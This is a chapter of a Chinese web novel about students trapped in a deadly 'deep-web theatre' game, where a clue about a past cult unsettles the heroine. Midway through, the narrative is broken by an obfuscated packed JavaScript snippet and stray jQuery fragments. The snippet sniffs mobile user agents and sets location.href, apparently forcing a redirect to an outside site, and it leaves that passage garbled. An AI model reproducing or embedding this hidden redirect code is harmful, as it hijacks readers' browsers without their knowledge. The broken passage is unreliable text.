默认冷灰
24号文字
方正启体

7. 第 7 章

作者:澜焕本书字数:K更新时间:
    律师说:“您好。找舒觉什么事?”


    曲语冰露出春风般的微笑。“安律师您好,我这边有一份文件,需要舒觉同学亲自签字。”


    “放下吧。”安丽廉说。随后她又戴上眼镜打开液晶多面屏,居然就摆出送客的架势了。


    曲语冰维持笑容不变,“抱歉,但我一直联系不到她,可以请您给我她的联系方式确认后续事项吗?”


    “何必麻烦。你联系我就行。”安丽廉头也不抬,“舒觉女士已经授权我全权代理学校事务。我的处理和她的具有同等法律效力。如果你还有担心,我会转告她。”


    在现行法律下,这是完全合法的。曲语冰当然知道这一点,好在他也不是无备而来,“但这份文件不是学校事务的。”


    安丽廉示意他往下讲。曲语冰背腹稿:“舒觉同学填过我们公司志愿问卷。那个项目就要试运行了,这是一份内测邀请通知。由于项目可能有一定危险性,希望本人能亲自来确认。”


    “你开公司?”


    “大学生创业。”


    两人均用无懈可击的微笑面向对方。半晌,安丽廉说:“你是生还者,是吗?”


    她的语调很平静。然而,这并不是一个人人都该知道的词语。这更证实了他的猜想:舒觉和她绝不可能只是简单的雇佣关系。


    曲语冰心中思绪飞转。他说:“如果我说不是呢?”


    “不管你是不是,都与我无关。”律师十指交叉,凝视自己指尖,“她没授权过我处理这个。”


    随后她直起身,面无表情,威严气势一瞬间如狂风扑来。“你到底想要从我这里得到什么?说实话。也许那样我还会考虑一下。”


    曲语冰面不改色,仿佛他没看出安丽廉的变化。“我想要她的联系方式。我有事要找她。”


    “和深网剧场有关,是吧。”她用的甚至不是问句。“请你离开。”


    她是认真的。曲语冰耸耸肩,也没再停留,抬脚就走。和这种人多纠缠,下场不好的绝对会是自己。他可以再想想其他办法——


    后面遥遥传来一声呼喊:“等会。”


    曲语冰走回去。安丽廉咬着嘴唇,看上去十分心烦意乱。片刻后,她在半空中点了下,一串数字随之浮现,很快又像雾一样散了。


    “你可以试一下这个邮箱。记不住就是你们没缘分,我劝你算了。”安丽廉语气不怎么好,曲语冰真心实意笑起来,“感谢您。”


    “我不保证她一定会回复你。”


    “她会的。”曲语冰说,他转过身去,挥挥手,“只要……我们都有同样的感觉。”


    舒觉看着身边的男性,不由觉得有些奇异:她怎么就和他这么自然地搭档起来了?


    祝时明正弯腰在一堆报纸里翻找着。他全神贯注,带着一双手套,离她不过几步远,看上去并没有任何拘谨。但她之前看到姜满和他靠近说话的时候他都会紧张。


    这是什么原因?他觉得他们熟悉到不需要在意这段距离?


    舒觉甩甩头发,把这些稀奇古怪的念头甩出去。她还是把精力放在手头工作上比较好。


    现在,她和祝时明正在图书馆的旧刊收集室里。这里储存着许多旧报纸,自从上次询问图书出版年限后,舒觉认为,指不定可以在报纸里找到什么线索。或者至少确认一下是几年到几年的范围也好。


    这能方便他们确认幕后凶手的身份。他打造出一个图书馆,在这里塞满过去的记录,不可能什么用意都没有。至少有那么几个东西,应该对他是具有意义的。


    如果能确认身份,外部世界就可以展开行动,也就能把他们救出去。那也算是完成了一部分她进来的目的了。


    不过说实话,舒觉并不抱有太大希望。谁知道什么东西才是线索?况且,她的疑问,即使在找出幕后真凶身份之后,也未必就能被解答。


    她这厢往外抽着报纸,快速浏览,将内容尽数记录在脑,方便日后比对。这对她来说不算什么难事。她曾经被逼着记下了一个档案馆里四十年间所有的研究资料,现在也还全部记得。


    尽管那些东西都没什么用了,但她还是无法忘记。反正存在脑子里也不会有什么坏处,她也就放任不管了。


    现在在记录的过程中,她也已经在将内容汇总归类。一般的日报不必多说,有趣的是这里还有许多科学研究相关的报道,有几本刊物是一期不落,全部收集了。


    据她所知,这些报刊都专业性极强,是小范围传播的,只有那个领域的人会订阅。现在也有许多停刊或者转型了。这里收集得如此之全,甚至能做个博物馆展览了。


    除此之外,还有很多不同类型的报纸,只是这一个领域比较特别,才被她注意到了。


    光幕上字符滚动:我们大学的学刊这里还蛮多的。


    祝时明抬起头,脸上表情有点复杂。大概是在这个离奇的地方里看到熟悉的事物,多少不大适应吧。


    “我看看。”舒觉凑过去,头发在他目前扫过。祝时明飞快眨了几下眼睛。


    光幕:你要不要扎起来?


    “是有点挡眼睛。”舒觉用手把侧边头发拨到肩后,“但我没带皮筋啊。”


    一只手伸到她面前。摊开的掌心里,是一个黑色发圈。舒觉带着点诧异看向他,祝时明撇开视线,没解释什么。


    舒觉拿走它,利落地快速扎了个马尾。她总觉得这个桥段有点熟悉。是在哪部电视剧里吗?


    她决定先不管了。如祝时明所说,他那边堆着一摊冀湖大学的学报,不过与其说是这个大学全部出版过的学报,不如说……


    “这好像都是生物工程、医学系、计算机系和人工智能学系的。没有其他学院的吗?”


    舒觉捏着学报一角,从上到下飞了一遍标题。至少在这一堆期刊里,没有别的学院出现。


    光幕:最新一期截止到四十年前为止。


    祝时明的脸庞从她肩上探出,他刚刚也整理过一番这些内容。


    “看来,这个年份对某人来说有重要意义。”舒觉站起来,拍拍手套上的灰尘。那是祝时明找给她的。


    他点点头。暂且把这个年份记下来,两人又投入了新的寻找过程中。


    直到祝时明停在一个地方,久久不动弹。舒觉称得上专心致志,即使如此她也注意到那边的异常。


    她走过去。“怎么了?”


    祝时明没有说话。他的嘴唇没有动作。他蹲在那里,像是终于下定什么决心,伸出手,将一张薄薄的纸递给她。


    舒觉疑惑地接过。她抖了两下,让纸张迎风展开,黑体加粗的大标题映入眼中——


    “邪教团体七日教会全体落网!”


    那几个字仿佛过强的光,一时间刺得她头晕目眩。刹那间,那些她企图忘记却永远不可能忘记的日子如同浪潮,将她席卷攫走。


    她根本不可能压得住自己的震惊与恐惧。手中过度用力,剪报被攥成一团皱卷,指甲隔着一层纤维,在掌心掐出深刻的痕迹。舒觉身子晃了一下,她猛地撑住身后桌角,维持住自己。


    祝时明望着她。舒觉惊恐地意识到,他全看见了。这和直接说自己与这东西有关系有什么区别?


    他站了起来,但没有贸然行动,而是保持着一定距离,仅仅只是望着她。舒觉难以辨明,那眼神中是什么意味。


    半晌,他迟缓地半抬起一只手,像是想要触碰她。难以置信,在这样的境况里,舒觉没有感觉到任何威胁的意思。他似乎真的只是想确认她好不好。


    舒觉用力深呼吸,才强迫自己将手松开。“……你从哪里找到的?”


    “就在这边的报纸里。夹在了里面。这是唯一一份不是四十年前的东西。”他缩回手,神色看不出什么不对。


    这不可能。这张报纸,连她都只见过一次,没有保存实物。政府应该派人把所有原件都销毁了——漏网之鱼?复印件?


    不管是哪种,她都不能把这份报纸示于人前。但祝时明已经看过。她要如何解释?


    带着或许看错的侥幸心理,她又把内容浏览一遍:“今日,破坏社会安定的邪教团体‘七日教会’终于落网。百余信众和领导团体均已被公安缉拿,其中受害者也已被解救安置。


    “‘七日教会’公然宣扬末日邪说、个人崇拜,以此吸纳大量信徒与钱财。有切实证据证明,多起凶杀案与盗窃案均与该邪教有关,其中最为公众所知的便是‘十号线人体炸弹案’,其中造成了多少生命的消逝、多少家庭的悲剧,此不赘述。


    “值得我们高兴的是,太阳煌煌,正义与安宁终于到来。所有邪恶终将被绳之以法,法律会审判每一份罪行,给人们一个满意的答案。”


    一字不差。


    那天她摇下车窗,阳光是从未见过的刺目。路边报刊亭上贴着这张头版,白底黑字,她以为那就是结束了。


    而直至今日,过往仍然缠着她。如同月亮钉住地上的影子,逃得越远,黑暗延伸越长,却始终不从脚跟离去。


    她的心脏剧烈鼓动。她不能示弱。她不能屈服。她不能让他人发觉。


    她吞咽一下,再开口语调冷静到平板无调的程度:“我没看过这个新闻。你有了解过吗?这个……‘七日教会’什么的?”


    金棕色的瞳孔注视着她。祝时明说:“没有。”


    舒觉不着痕迹地松了口气。她就知道,这种六年前的旧闻应该很多人都已遗忘。或是根本没有印象。毕竟,这与大多数人的生活都无关。


    “不管是什么东西,反正它不应该出现在这里。年份对不上。”这点舒觉说得极肯定,祝时明也点头赞同。


    “我们要怎么做?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364944|183890||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    祝时明问。他指指那张剪报。


    舒觉大脑飞速运转。她要编出什么样的借口,才能说服他不把这件事告诉他人?才能让他同意她来保管这个东西?


    思绪川流间,她抬眼,看见祝时明。他安静地站在那里,只是看着她,等着她做出决定。


    而那副神态就像,不论她做出什么决定,他都会支持到底。


    她忽然心中一定。同时涌起的是一股亲切的熟悉,带着淡淡的怅然。如同梦中浮现的幻影,但在醒来的片刻后便尽数忘却。


    她已经想好了理由。就在舒觉张口欲说时,手环遽然震动起来,宽大的光幕凭空舒展开,穷奇在光点中浮现于他们面前。


    那个小姑娘俯视他们,笑容粲然,“让我看看,谁是我们的幸运儿呀?”


    舒觉一时吃不准她是什么意思。还是祝时明开口:“又是你们搞的鬼,是吗?”


    “不要说得那么难听嘛。这可是我们剧团给予各位的小小福利!”穷奇咧开嘴唇,“你——们已经找到了第一份线索,真不错。”


    线索?什么线索?难道这个鬼地方还和七日教会有关系?难道七日教会还余烬残存,将死灰重燃?不,这不可能。


    还是说,上一轮她被选中、曾经的演绎中其他人被选中——都不只是一个巧合?


    她正思考着,穷奇接着说:“来,向大家展示一下吧?”


    她轻轻一挥手,那张剪报展现在光幕上,每个字都能看得一清二楚。舒觉脸色骤变,她用力咬住下唇,幸亏现在没人在看她。


    “如各位演员所见,这就是‘线索’。”穷奇维持端坐在半空的姿势,“具体来说,就是关于猜出背叛者的线索。”


    她解释道:“看到各位如此迷茫不安,即使是我们剧团也于心不忍呢!所以,特意出了一条新的规则,用以提示各位,究竟该如何猜出编剧,很贴心吧?”


    没人真觉得被贴到心了。穷奇也不在乎,她说:“看到任何觉得与本剧场有违和的物品,均可以向‘幕后’确认是否为线索。各位演员大可放心,‘幕后’没有说谎这一功能。”


    她笑了几声,话语中充满恶意:“不过,还请小心。‘幕后’只能确认这件东西是否为线索,但线索究竟为真为假,还需各位自己思考与确认。”


    “这是什么意思?”原本已经要确认这里与七日教会有关,却猛然来个反转。舒觉不由质问她。


    “线索携带的内容或传达的信息,一定为真。”穷奇慢条斯理讲,“然而,它指向的对象却不一定为真。”


    “也就是说,线索必定会指向我们中的某个人,但这个人不一定是编剧,对吗?”祝时明冷静地开口,他仰望空中玩弄他们的存在,眼中毫无畏惧和迷茫。


    “没错。这位演员,我很欣赏你啊。务必要在这个舞台上多待一会儿,让我好好欣赏你的身姿。”穷奇捧他两句,然而这句话难以说清究竟是祝福还是诅咒。


    “所以,到底哪个线索是有用的、指向的,哪个又只是在混淆你们、引发猜忌,就由各位自行判断了。”穷奇说,“当然,剧团也没有那么苛刻——前三条线索可以向‘幕后’确认指向谁。”


    舒觉眼神骤然锐利起来。“但仅限线索指向者亲自向‘幕后’发问时,这个额外的福利才会生效。并且,幕后不会告知线索指向者是否为‘编剧’,这一点是不变的。”凶兽补充道。


    穷奇正待消失,却被祝时明叫住。“那我们要怎么判断?判断的标准是什么?”


    穷奇的身形停止消散。她原本已经背过身去,此时却转回头来,那双仿若兽瞳的古怪眼睛紧紧盯着祝时明,仿佛要从他身上找到什么东西。


    她缓缓道:“嗯,这个嘛。真相和谎言之间自有分界,在这里,它是泾渭分明的,绝不会有任何混淆。并且,这分界线,只有一条。”


    “尝试分个类吧?你这样聪明,一定知道我在说什么。4号演员祝时明。”


    她甜甜一笑,看上去却相当恐怖。这次,这位经理人是真的消失了。


    驻足片刻,祝时明才转身面对她。舒觉不知道该说什么。她精心编造的借口和理由,在穷奇的插手下,现在全部白费了。


    同一刻,她才意识到,她根本不想骗祝时明。哪怕只是这点必要的谎言。


    这让她感到恐惧。


    你怎么能对一个不是家人的人如此心软?


    祝时明说:“走吧。”


    他轻轻抽走她手中的剪报,为她分担那对他人微不足道、对她重若千钧的重量。他什么都没多问。


    他这样的态度反而让舒觉困惑,进而心慌。但她什么都不能问,否则就是在不打自招。


    因此,她只是走在他的身旁,沉默不语。


    至少,我知道一件事。舒觉想。


    第一份线索,为假。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)